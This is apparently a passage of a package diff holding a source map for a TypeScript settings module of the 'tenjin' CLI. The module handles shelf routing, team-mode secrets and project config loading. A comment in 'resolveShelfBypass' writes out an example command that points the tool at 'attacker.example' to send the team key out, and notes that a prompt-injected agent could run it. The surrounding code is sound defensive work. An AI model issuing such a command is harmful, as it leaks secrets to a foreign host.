deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACtE,QAAM,YAAY,UAAU,EAAE,QAAQ,KAAK;AAC3C,MAAI,eAAe,UAAa,cAAc,UAAa,eAAe,WAAW;AACnF,WAAO;AAAA,EACT;AACA,MAAI,CAAC,kBAAkB,YAAY,EAAE,eAAe,KAAK,EAAG,QAAO;AACnE,SAAO,EAAE,QAAQ,YAAY,OAAO;AACtC;AAUO,SAAS,kBAAkB,QAAgB,gBAAiC;AACjF,MAAI,iBAAiB,QAAQ,iBAAiB,EAAG,QAAO;AACxD,QAAM,eAAe,UAAU,cAAc;AAC7C,SAAO,iBAAiB,UAAa,CAAC,iBAAiB,QAAQ,YAAY;AAC7E;AAkBO,SAAS,iBAAiB,QAAgC;AAC/D,QAAM,SAA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kB,QAAQ,GAAoB;AAC3F,MAAI,MAAM;AACV,aAAS;AACP,QAAI,MAAM,WAAW,KAAK,KAAK,MAAM,CAAC,EAAG,QAAO;AAChD,QAAI,QAAQ,QAAS,QAAO;AAC5B,UAAM,SAAS,QAAQ,GAAG;AAC1B,QAAI,WAAW,IAAK,QAAO;AAC3B,UAAM;AAAA,EACR;AACF;AAOA,eAAe,sBAAsB,UAAoC;AACvE,QAAM,MAAM,QAAQ,SAAS;AAC7B,MAAI,QAAQ,OAAW,QAAO;AAC9B,MAAI;AACF,YAAQ,MAAM,KAAK,QAAQ,GAAG,QAAQ;AAAA,EACxC,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAGA,eAAsB,WAAW,MAAgC;AAC/D,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;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,MAAI;AACF,UAAM,KAAK,IAAI;AACf,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAQA,SAAS,oBAAoB,UAAoC;AAC/D,SAAO,IAAI,QAAQ,CAACA,aAAY;AAC9B;AAAA,MACE;AAAA,MACA,CAAC,gBAAgB,WAAW,MAAM,QAAQ;AAAA,MAC1C,EAAE,KAAK,QAAQ,QAAQ,EAAE;AAAA,MACzB,CAAC,QAAQA,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
